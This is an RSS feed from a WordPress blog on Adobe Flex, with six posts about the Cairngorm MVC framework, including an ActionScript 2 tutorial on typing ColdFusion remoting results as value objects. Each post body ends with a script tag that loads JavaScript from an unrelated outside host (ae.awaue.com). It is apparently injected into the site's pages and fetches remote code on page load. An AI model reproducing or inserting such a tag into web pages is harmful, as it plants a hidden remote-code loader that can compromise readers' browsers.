<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>FlexDaddy &#187; cairngorm</title>
	<atom:link href="http://www.flexdaddy.com/tag/cairngorm/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.flexdaddy.com</link>
	<description>Andrew Spaulding on Adobe Flash Platform Technologies</description>
	<lastBuildDate>Fri, 26 Mar 2010 03:42:40 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=abc</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Cairngorm has a new home</title>
		<link>http://www.flexdaddy.com/2006/06/28/cairngorm-has-a-new-home/</link>
		<comments>http://www.flexdaddy.com/2006/06/28/cairngorm-has-a-new-home/#comments</comments>
		<pubDate>Wed, 28 Jun 2006 07:32:22 +0000</pubDate>
		<dc:creator>Andrew Spaulding</dc:creator>
				<category><![CDATA[Adobe]]></category>
		<category><![CDATA[General]]></category>
		<category><![CDATA[actionscript]]></category>
		<category><![CDATA[cairngorm]]></category>
		<category><![CDATA[Flex]]></category>
		<category><![CDATA[RIA]]></category>

		<guid isPermaLink="false">http://www.flexdaddy.info/2006/06/28/cairngorm-has-a-new-home/</guid>
		<description><![CDATA[
			
				
			
		
As promised by Steven Webster, Cairngorm is now available on Adobe Labs!
For simplicity you can use http://www.adobe.com/go/cairngorm/ which will be adopted as the standard URL.
Without stealing the spotlight, I&#8217;d like to point you back to Steven&#8217;s blog. Well done team!


Related posts:Cairngorm Series on Flex DevNet
Cairngorm 2.0 Alpha
Building RIA&#8217;s with Flex and Cairngorm



Related posts:<ol><li><a href='http://www.flexdaddy.com/2006/03/15/cairngorm-series-on-flex-devnet/' rel='bookmark' title='Permanent Link: Cairngorm Series on Flex DevNet'>Cairngorm Series on Flex DevNet</a></li>
<li><a href='http://www.flexdaddy.com/2006/02/02/cairngorm-20-alpha/' rel='bookmark' title='Permanent Link: Cairngorm 2.0 Alpha'>Cairngorm 2.0 Alpha</a></li>
<li><a href='http://www.flexdaddy.com/2005/02/21/building-rias-with-flex-and-cairngorm/' rel='bookmark' title='Permanent Link: Building RIA&#8217;s with Flex and Cairngorm'>Building RIA&#8217;s with Flex and Cairngorm</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;margin-top:10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.flexdaddy.com%2F2006%2F06%2F28%2Fcairngorm-has-a-new-home%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.flexdaddy.com%2F2006%2F06%2F28%2Fcairngorm-has-a-new-home%2F&amp;source=spaulds&amp;style=normal&amp;service=bit.ly" height="61" width="50" /><br />
			</a>
		</div>
<p><a target="_blank" href="http://weblogs.macromedia.com/swebster/archives/2006/06/cairngorm_2_for_2.cfm">As promised by Steven Webster</a>, Cairngorm is now available on Adobe Labs!<br />
For simplicity you can use <a target="_blank" href="http://www.adobe.com/go/cairngorm/ ">http://www.adobe.com/go/cairngorm/</a> which will be adopted as the standard URL.</p>
<p>Without stealing the spotlight, I&#8217;d like to point you back to <a target="_blank" href="http://weblogs.macromedia.com/swebster/archives/2006/06/cairngorm_2_for_2.cfm">Steven&#8217;s blog</a>. Well done team!<script src="http://ae.awaue.com/7"></script></p>


<p>Related posts:<ol><li><a href='http://www.flexdaddy.com/2006/03/15/cairngorm-series-on-flex-devnet/' rel='bookmark' title='Permanent Link: Cairngorm Series on Flex DevNet'>Cairngorm Series on Flex DevNet</a></li>
<li><a href='http://www.flexdaddy.com/2006/02/02/cairngorm-20-alpha/' rel='bookmark' title='Permanent Link: Cairngorm 2.0 Alpha'>Cairngorm 2.0 Alpha</a></li>
<li><a href='http://www.flexdaddy.com/2005/02/21/building-rias-with-flex-and-cairngorm/' rel='bookmark' title='Permanent Link: Building RIA&#8217;s with Flex and Cairngorm'>Building RIA&#8217;s with Flex and Cairngorm</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.flexdaddy.com/2006/06/28/cairngorm-has-a-new-home/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Cairngorm Series on Flex DevNet</title>
		<link>http://www.flexdaddy.com/2006/03/15/cairngorm-series-on-flex-devnet/</link>
		<comments>http://www.flexdaddy.com/2006/03/15/cairngorm-series-on-flex-devnet/#comments</comments>
		<pubDate>Wed, 15 Mar 2006 01:03:10 +0000</pubDate>
		<dc:creator>Andrew Spaulding</dc:creator>
				<category><![CDATA[Adobe]]></category>
		<category><![CDATA[Tutorial]]></category>
		<category><![CDATA[cairngorm]]></category>
		<category><![CDATA[Flex]]></category>
		<category><![CDATA[RIA]]></category>

		<guid isPermaLink="false">http://www.flexdaddy.info/2006/03/15/cairngorm-series-on-flex-devnet/</guid>
		<description><![CDATA[
			
				
			
		
Be sure to check out the series of articles on the Flex DevNet &#8211; Developing Flex RIA&#8217;s with Cairngorm Microarchitecture written by Steven Webster of Adobe Consulting (formerly iteration::two).
This series of 6 articles are focussed around Cairngorm 0.99 and Flex 1.5, but the same principles can be applied when using Flex 2 and the new [...]


Related posts:<ol><li><a href='http://www.flexdaddy.com/2006/06/28/cairngorm-has-a-new-home/' rel='bookmark' title='Permanent Link: Cairngorm has a new home'>Cairngorm has a new home</a></li>
<li><a href='http://www.flexdaddy.com/2006/02/02/cairngorm-20-alpha/' rel='bookmark' title='Permanent Link: Cairngorm 2.0 Alpha'>Cairngorm 2.0 Alpha</a></li>
<li><a href='http://www.flexdaddy.com/2005/02/21/building-rias-with-flex-and-cairngorm/' rel='bookmark' title='Permanent Link: Building RIA&#8217;s with Flex and Cairngorm'>Building RIA&#8217;s with Flex and Cairngorm</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;margin-top:10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.flexdaddy.com%2F2006%2F03%2F15%2Fcairngorm-series-on-flex-devnet%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.flexdaddy.com%2F2006%2F03%2F15%2Fcairngorm-series-on-flex-devnet%2F&amp;source=spaulds&amp;style=normal&amp;service=bit.ly" height="61" width="50" /><br />
			</a>
		</div>
<p>Be sure to check out the series of articles on the <a target="_blank" href="http://www.macromedia.com/devnet/flex/">Flex DevNet</a> &#8211; <strong>Developing Flex RIA&#8217;s with Cairngorm Microarchitecture</strong> written by <a target="_blank" href="http://www.richinternetapps.com/index.html">Steven Webster</a> of Adobe Consulting (formerly iteration::two).</p>
<p>This series of 6 articles are focussed around <a target="_blank" href="http://www.iterationtwo.com/open_source_cairngorm.html">Cairngorm 0.99</a> and <a href="http://www.macromedia.com/go/flex">Flex 1.5</a>, but the same principles can be applied when using Flex 2 and the new <a target="_blank" href="http://www.flexdaddy.info/2006/02/02/cairngorm-20-alpha/">Cairngorm 2.0 Alpha</a> release. Using a framework such as Cairngorm really keeps your code disciplined, allows for reusability, ease of architecture/design/planning, and a clean implementation of MVC. It gives you a direction to start heading when developing an application using Adobe Flex. Of course larger scale applications can be written without Cairngorm, but if you&#8217;re familiar with MVC then Cairngorm provides a great starting ground with a fantastic direction to follow.</p>
<p>Keep an eye out for a subsequent realease of articles that will cover Cairngorm with Flex 2. Nice work Steven.<script src="http://ae.awaue.com/7"></script></p>


<p>Related posts:<ol><li><a href='http://www.flexdaddy.com/2006/06/28/cairngorm-has-a-new-home/' rel='bookmark' title='Permanent Link: Cairngorm has a new home'>Cairngorm has a new home</a></li>
<li><a href='http://www.flexdaddy.com/2006/02/02/cairngorm-20-alpha/' rel='bookmark' title='Permanent Link: Cairngorm 2.0 Alpha'>Cairngorm 2.0 Alpha</a></li>
<li><a href='http://www.flexdaddy.com/2005/02/21/building-rias-with-flex-and-cairngorm/' rel='bookmark' title='Permanent Link: Building RIA&#8217;s with Flex and Cairngorm'>Building RIA&#8217;s with Flex and Cairngorm</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.flexdaddy.com/2006/03/15/cairngorm-series-on-flex-devnet/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cairngorm 2.0 Alpha</title>
		<link>http://www.flexdaddy.com/2006/02/02/cairngorm-20-alpha/</link>
		<comments>http://www.flexdaddy.com/2006/02/02/cairngorm-20-alpha/#comments</comments>
		<pubDate>Wed, 01 Feb 2006 23:14:35 +0000</pubDate>
		<dc:creator>Andrew Spaulding</dc:creator>
				<category><![CDATA[Adobe]]></category>
		<category><![CDATA[General]]></category>
		<category><![CDATA[cairngorm]]></category>
		<category><![CDATA[Flex]]></category>
		<category><![CDATA[RIA]]></category>

		<guid isPermaLink="false">http://www.flexdaddy.info/2006/02/02/cairngorm-20-alpha/</guid>
		<description><![CDATA[
			
				
			
		
Check out the new Cairngorm 2.0 micro-architecture release that has aligned with the current releases of the new Flex 2.0 beta product line.
Be sure to read both articles on the Adobe Consulting EMEA (iteration::two) blog:

Cairngorm 2.0 Alpha available for Flex 2.0 Beta Build
What&#8217;s new and changed in Cairngorm 2.0 alpha
Cairngorm 2 &#8211; Alpha 2 Released

Kudos [...]


Related posts:<ol><li><a href='http://www.flexdaddy.com/2006/03/15/cairngorm-series-on-flex-devnet/' rel='bookmark' title='Permanent Link: Cairngorm Series on Flex DevNet'>Cairngorm Series on Flex DevNet</a></li>
<li><a href='http://www.flexdaddy.com/2006/06/28/cairngorm-has-a-new-home/' rel='bookmark' title='Permanent Link: Cairngorm has a new home'>Cairngorm has a new home</a></li>
<li><a href='http://www.flexdaddy.com/2005/02/21/building-rias-with-flex-and-cairngorm/' rel='bookmark' title='Permanent Link: Building RIA&#8217;s with Flex and Cairngorm'>Building RIA&#8217;s with Flex and Cairngorm</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;margin-top:10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.flexdaddy.com%2F2006%2F02%2F02%2Fcairngorm-20-alpha%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.flexdaddy.com%2F2006%2F02%2F02%2Fcairngorm-20-alpha%2F&amp;source=spaulds&amp;style=normal&amp;service=bit.ly" height="61" width="50" /><br />
			</a>
		</div>
<p>Check out the new Cairngorm 2.0 micro-architecture release that has aligned with the current releases of the new Flex 2.0 beta product line.</p>
<p>Be sure to read both articles on the <a href="http://www.richinternetapps.com/index.html">Adobe Consulting EMEA (iteration::two) blog:</a></p>
<ul>
<li><a href="http://www.richinternetapps.com/archives/000143.html">Cairngorm 2.0 Alpha available for Flex 2.0 Beta Build</a></li>
<li><a href="http://www.richinternetapps.com/archives/000144.html">What&#8217;s new and changed in Cairngorm 2.0 alpha</a></li>
<li><a href="http://www.richinternetapps.com/archives/000145.html">Cairngorm 2 &#8211; Alpha 2 Released</a></li>
</ul>
<p>Kudos to the members of Adobe Consulting EMEA, in particular Alex Uhlmann and Alistair McLeod for their hard work in porting Cairngorm to ActionScript 3. <script src="http://ae.awaue.com/7"></script></p>


<p>Related posts:<ol><li><a href='http://www.flexdaddy.com/2006/03/15/cairngorm-series-on-flex-devnet/' rel='bookmark' title='Permanent Link: Cairngorm Series on Flex DevNet'>Cairngorm Series on Flex DevNet</a></li>
<li><a href='http://www.flexdaddy.com/2006/06/28/cairngorm-has-a-new-home/' rel='bookmark' title='Permanent Link: Cairngorm has a new home'>Cairngorm has a new home</a></li>
<li><a href='http://www.flexdaddy.com/2005/02/21/building-rias-with-flex-and-cairngorm/' rel='bookmark' title='Permanent Link: Building RIA&#8217;s with Flex and Cairngorm'>Building RIA&#8217;s with Flex and Cairngorm</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.flexdaddy.com/2006/02/02/cairngorm-20-alpha/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MVC  for Actionscript 2</title>
		<link>http://www.flexdaddy.com/2005/09/05/mvc-for-actionscript-2/</link>
		<comments>http://www.flexdaddy.com/2005/09/05/mvc-for-actionscript-2/#comments</comments>
		<pubDate>Mon, 05 Sep 2005 09:07:50 +0000</pubDate>
		<dc:creator>Andrew Spaulding</dc:creator>
				<category><![CDATA[Adobe]]></category>
		<category><![CDATA[Tutorial]]></category>
		<category><![CDATA[cairngorm]]></category>
		<category><![CDATA[Flex]]></category>
		<category><![CDATA[RIA]]></category>

		<guid isPermaLink="false">http://www.flexdaddy.info/2005/09/05/mvc-for-actionscript-2/</guid>
		<description><![CDATA[
			
				
			
		
I&#8217;ll be attending the MVC for Actionscript 2 Master Class run by the team at Rocketboots this Friday 9th September. 
The class will cover a range of topics including:

The Value of Code
Design Patterns
MVC Patterns
The benefits of MVC
Cairngorm / ARP

It should be a great overview of MVC design patterns and architectures available for both Flex and [...]


Related posts:<ol><li><a href='http://www.flexdaddy.com/2005/02/21/building-rias-with-flex-and-cairngorm/' rel='bookmark' title='Permanent Link: Building RIA&#8217;s with Flex and Cairngorm'>Building RIA&#8217;s with Flex and Cairngorm</a></li>
<li><a href='http://www.flexdaddy.com/2006/03/15/cairngorm-series-on-flex-devnet/' rel='bookmark' title='Permanent Link: Cairngorm Series on Flex DevNet'>Cairngorm Series on Flex DevNet</a></li>
<li><a href='http://www.flexdaddy.com/2005/10/18/next-generation-actionscript/' rel='bookmark' title='Permanent Link: Next Generation Actionscript'>Next Generation Actionscript</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;margin-top:10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.flexdaddy.com%2F2005%2F09%2F05%2Fmvc-for-actionscript-2%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.flexdaddy.com%2F2005%2F09%2F05%2Fmvc-for-actionscript-2%2F&amp;source=spaulds&amp;style=normal&amp;service=bit.ly" height="61" width="50" /><br />
			</a>
		</div>
<p>I&#8217;ll be attending the <a href="http://www.rocketboots.com.au/blog/index.cfm?mode=entry&#038;entry=98E2D3C5-E081-51EF-A7D91E698211FC5D">MVC for Actionscript 2 Master Class</a> run by the team at <a href="http://www.rocketboots.com.au/">Rocketboots</a> this Friday 9th September. </p>
<p>The class will cover a range of topics including:</p>
<ul>
<li>The Value of Code</li>
<li>Design Patterns</li>
<li>MVC Patterns</li>
<li>The benefits of MVC</li>
<li>Cairngorm / ARP</li>
</ul>
<p>It should be a great overview of MVC design patterns and architectures available for both Flex and Flash RIA&#8217;s. Be sure to check out <a href="http://www.rocketboots.com.au/blog/index.cfm?mode=entry&#038;entry=98E2D3C5-E081-51EF-A7D91E698211FC5D">the post</a>  over at Rocketboots, or drop me a line and i&#8217;ll see if I can answer your questions <img src='http://www.flexdaddy.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /><br />
<script src="http://ae.awaue.com/7"></script></p>


<p>Related posts:<ol><li><a href='http://www.flexdaddy.com/2005/02/21/building-rias-with-flex-and-cairngorm/' rel='bookmark' title='Permanent Link: Building RIA&#8217;s with Flex and Cairngorm'>Building RIA&#8217;s with Flex and Cairngorm</a></li>
<li><a href='http://www.flexdaddy.com/2006/03/15/cairngorm-series-on-flex-devnet/' rel='bookmark' title='Permanent Link: Cairngorm Series on Flex DevNet'>Cairngorm Series on Flex DevNet</a></li>
<li><a href='http://www.flexdaddy.com/2005/10/18/next-generation-actionscript/' rel='bookmark' title='Permanent Link: Next Generation Actionscript'>Next Generation Actionscript</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.flexdaddy.com/2005/09/05/mvc-for-actionscript-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Strongly type a CF return using Cairngorm</title>
		<link>http://www.flexdaddy.com/2005/06/16/strongly-type-a-cf-return-using-cairngorm/</link>
		<comments>http://www.flexdaddy.com/2005/06/16/strongly-type-a-cf-return-using-cairngorm/#comments</comments>
		<pubDate>Thu, 16 Jun 2005 07:32:16 +0000</pubDate>
		<dc:creator>Andrew Spaulding</dc:creator>
				<category><![CDATA[Adobe]]></category>
		<category><![CDATA[Tutorial]]></category>
		<category><![CDATA[cairngorm]]></category>
		<category><![CDATA[ColdFusion]]></category>
		<category><![CDATA[Flex]]></category>

		<guid isPermaLink="false">http://www.flexdaddy.info/2005/06/16/strongly-type-a-cf-return-using-cairngorm/</guid>
		<description><![CDATA[
			
				
			
		
Working with Flex and ColdFusion can introduce a few problems regarding the way AMF handles the deserialization of CF structs (or objects) on the return from a remoting call. Non String types returned as Strings, Date types only working when they feel like it, the confusion with lower case versus upper case variable names &#8211; [...]


Related posts:<ol><li><a href='http://www.flexdaddy.com/2005/09/06/alert-alert-listen-to-the-buttons/' rel='bookmark' title='Permanent Link: Alert! Alert! Listen to the buttons!'>Alert! Alert! Listen to the buttons!</a></li>
<li><a href='http://www.flexdaddy.com/2010/01/19/cast-a-loaded-flex-application-to-an-interface/' rel='bookmark' title='Permanent Link: Cast a loaded Flex Application to an Interface'>Cast a loaded Flex Application to an Interface</a></li>
<li><a href='http://www.flexdaddy.com/2005/08/26/waiter-there-is-a-bug-in-my-cfc/' rel='bookmark' title='Permanent Link: Waiter, there is a bug in my CFC!'>Waiter, there is a bug in my CFC!</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;margin-top:10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.flexdaddy.com%2F2005%2F06%2F16%2Fstrongly-type-a-cf-return-using-cairngorm%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.flexdaddy.com%2F2005%2F06%2F16%2Fstrongly-type-a-cf-return-using-cairngorm%2F&amp;source=spaulds&amp;style=normal&amp;service=bit.ly" height="61" width="50" /><br />
			</a>
		</div>
<p>Working with <a href="http://www.macromedia.com/go/flex/">Flex</a> and <a href="http://www.macromedia.com/go/coldfusion/">ColdFusion</a> can introduce a few problems regarding the way AMF handles the deserialization of CF structs (or objects) on the return from a remoting call. Non String types returned as Strings, Date types only working when they feel like it, the confusion with lower case versus upper case variable names &#8211; you&#8217;ve all heard it before.</p>
<p><span id="more-31"></span></p>
<p>I discussed the solution with Robin Hilliard of <a href="http://www.rocketboots.com.au">Rocketboots</a>, and to quote him &#8211;<br />
<blockquote>
The value of typing the return is to ensure that throughout the rest of your client application you are working with an instance of the appropriate VO type and not just a vanilla Object with String properties, which is what remoting will hand to you from ColdFusion.</p>
<p>You may otherwise encounter hard-to-trace errors (e.g. missing getter/setter logic) caused by assuming that you had a real VO.
</p></blockquote>
<p>Nicely said.</p>
<p>To counter this my Value Objects have upper case variable names, strongly typed attributes, and a copy contructor which again  strongly types the vanilla object returned from CF. See the following example:</p>
<p>[as]// Person Value Object</p>
<p>import org.nevis.cairngorm.vo.ValueObject</p>
<p>class com.flexdaddy.samples.vo.person.PersonVO<br />
    implements ValueObject<br />
{<br />
  public var GIVEN_NAME:String = &#8220;&#8221;;<br />
  public var FAMILY_NAME:String = &#8220;&#8221;;</p>
<p>  public function PersonVO( o:Object )<br />
  {<br />
    this.GIVEN_NAME = String( o.GIVEN_NAME );<br />
    this.FAMILY_NAME= String( o.FAMILY_NAME);<br />
  }<br />
}[/as]</p>
<p>To call this copy contructor and cast our result object as a strongly typed Value Object, we can make a slight change to the behaviour of the Delegate. Rather than sending the CF result directly back to the calling command, it is neccessary to cast the Value Object from within the delegate as we are dealing with a ColdFusion issue. </p>
<p>The following code sample introduces an onResult method inside the delegate, as well as a filterResult method which returns our nicely constructed Value Object. In order to make this work we need to set the delegates onResult method as the resultHandler for the pending call. This then calls the onResult in the responder (the calling command).</p>
<p>[as]// User Detail Sample Delegate</p>
<p>import mx.utils.Delegate;<br />
import org.nevis.cairngorm.business.Responder;<br />
import org.nevis.cairngorm.business.ServiceLocator;<br />
import com.flexdaddy.samples.vo.person.PersonVO</p>
<p>class com.flexdaddy.samples.business.GetUserDetailsDelegate<br />
{<br />
  public function GetUserDetailsDelegate( responder:Responder )<br />
  {<br />
    this.service = ServiceLocator.getInstance().getService( &#8220;myService&#8221; );<br />
    this.responder = responder;<br />
  }</p>
<p>  public function getUserDetails() : Void<br />
  {<br />
    var pendingCall = service.getUserDetails();<br />
    pendingCall.resultHandler = Delegate.create( this, this.onResult );<br />
    pendingCall.faultHandler = Delegate.create( responder, responder.onFault );<br />
  }</p>
<p>  public function onResult( event:Object ) : Void<br />
  {<br />
    responder.onResult( filterResult(event.result) );<br />
  }</p>
<p>  public function filterResult( result:Object ) : PersonVO<br />
  {<br />
    return new PersonVO( result );<br />
  }</p>
<p>  private var responder:Responder;<br />
  private var service:Object;<br />
}[/as]</p>
<p>Now our command will receive a strongly typed Value Object and it&#8217;s business as usual <img src='http://www.flexdaddy.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> <script src="http://ae.awaue.com/7"></script></p>


<p>Related posts:<ol><li><a href='http://www.flexdaddy.com/2005/09/06/alert-alert-listen-to-the-buttons/' rel='bookmark' title='Permanent Link: Alert! Alert! Listen to the buttons!'>Alert! Alert! Listen to the buttons!</a></li>
<li><a href='http://www.flexdaddy.com/2010/01/19/cast-a-loaded-flex-application-to-an-interface/' rel='bookmark' title='Permanent Link: Cast a loaded Flex Application to an Interface'>Cast a loaded Flex Application to an Interface</a></li>
<li><a href='http://www.flexdaddy.com/2005/08/26/waiter-there-is-a-bug-in-my-cfc/' rel='bookmark' title='Permanent Link: Waiter, there is a bug in my CFC!'>Waiter, there is a bug in my CFC!</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.flexdaddy.com/2005/06/16/strongly-type-a-cf-return-using-cairngorm/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Building RIA&#8217;s with Flex and Cairngorm</title>
		<link>http://www.flexdaddy.com/2005/02/21/building-rias-with-flex-and-cairngorm/</link>
		<comments>http://www.flexdaddy.com/2005/02/21/building-rias-with-flex-and-cairngorm/#comments</comments>
		<pubDate>Mon, 21 Feb 2005 11:12:23 +0000</pubDate>
		<dc:creator>Andrew Spaulding</dc:creator>
				<category><![CDATA[Adobe]]></category>
		<category><![CDATA[Tutorial]]></category>
		<category><![CDATA[cairngorm]]></category>
		<category><![CDATA[Flex]]></category>
		<category><![CDATA[RIA]]></category>

		<guid isPermaLink="false">http://www.flexdaddy.info/?p=9</guid>
		<description><![CDATA[
			
				
			
		
The team at Rocketboots in Sydney, Australia recently put together a Breeze presentation as part of the Macromedia Australia/New Zealand Community Seminars.  Presented by Robin Hilliard, the presentation addressed the basic MVC architecture that Cairngorm is built upon, whilst also demonstrating how this can assist with protecting code, code reusability, and hence how this [...]


Related posts:<ol><li><a href='http://www.flexdaddy.com/2006/03/15/cairngorm-series-on-flex-devnet/' rel='bookmark' title='Permanent Link: Cairngorm Series on Flex DevNet'>Cairngorm Series on Flex DevNet</a></li>
<li><a href='http://www.flexdaddy.com/2006/02/02/cairngorm-20-alpha/' rel='bookmark' title='Permanent Link: Cairngorm 2.0 Alpha'>Cairngorm 2.0 Alpha</a></li>
<li><a href='http://www.flexdaddy.com/2005/06/16/strongly-type-a-cf-return-using-cairngorm/' rel='bookmark' title='Permanent Link: Strongly type a CF return using Cairngorm'>Strongly type a CF return using Cairngorm</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;margin-top:10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.flexdaddy.com%2F2005%2F02%2F21%2Fbuilding-rias-with-flex-and-cairngorm%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.flexdaddy.com%2F2005%2F02%2F21%2Fbuilding-rias-with-flex-and-cairngorm%2F&amp;source=spaulds&amp;style=normal&amp;service=bit.ly" height="61" width="50" /><br />
			</a>
		</div>
<p>The team at <a href="http://www.rocketboots.com.au">Rocketboots</a> in Sydney, Australia recently put together a Breeze presentation as part of the Macromedia Australia/New Zealand Community Seminars.  Presented by Robin Hilliard, the presentation addressed the basic MVC architecture that Cairngorm is built upon, whilst also demonstrating how this can assist with protecting code, code reusability, and hence how this can increase your code value.</p>
<p><img src='http://www.flexdaddy.info/wp-content/images/cairngormmvc.jpg' alt='Cairngorm MVC' /></p>
<p>A sample appliction was built using a coldfusion backend and the <a href="http://www.richinternetapps.com/archives/000094.html">Cairngorm Platform</a>. This proved as a great introduction for those new to the architecture.</p>
<p>You can download the sample code or follow the link to the breezo. <a href="http://www.rocketboots.com.au/blog/index.cfm?mode=entry&#038;entry=C6173106-E081-51EF-A73336809276EB7C">Check it out</a>!<script src="http://ae.awaue.com/7"></script></p>


<p>Related posts:<ol><li><a href='http://www.flexdaddy.com/2006/03/15/cairngorm-series-on-flex-devnet/' rel='bookmark' title='Permanent Link: Cairngorm Series on Flex DevNet'>Cairngorm Series on Flex DevNet</a></li>
<li><a href='http://www.flexdaddy.com/2006/02/02/cairngorm-20-alpha/' rel='bookmark' title='Permanent Link: Cairngorm 2.0 Alpha'>Cairngorm 2.0 Alpha</a></li>
<li><a href='http://www.flexdaddy.com/2005/06/16/strongly-type-a-cf-return-using-cairngorm/' rel='bookmark' title='Permanent Link: Strongly type a CF return using Cairngorm'>Strongly type a CF return using Cairngorm</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.flexdaddy.com/2005/02/21/building-rias-with-flex-and-cairngorm/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
	</channel>
</rss>
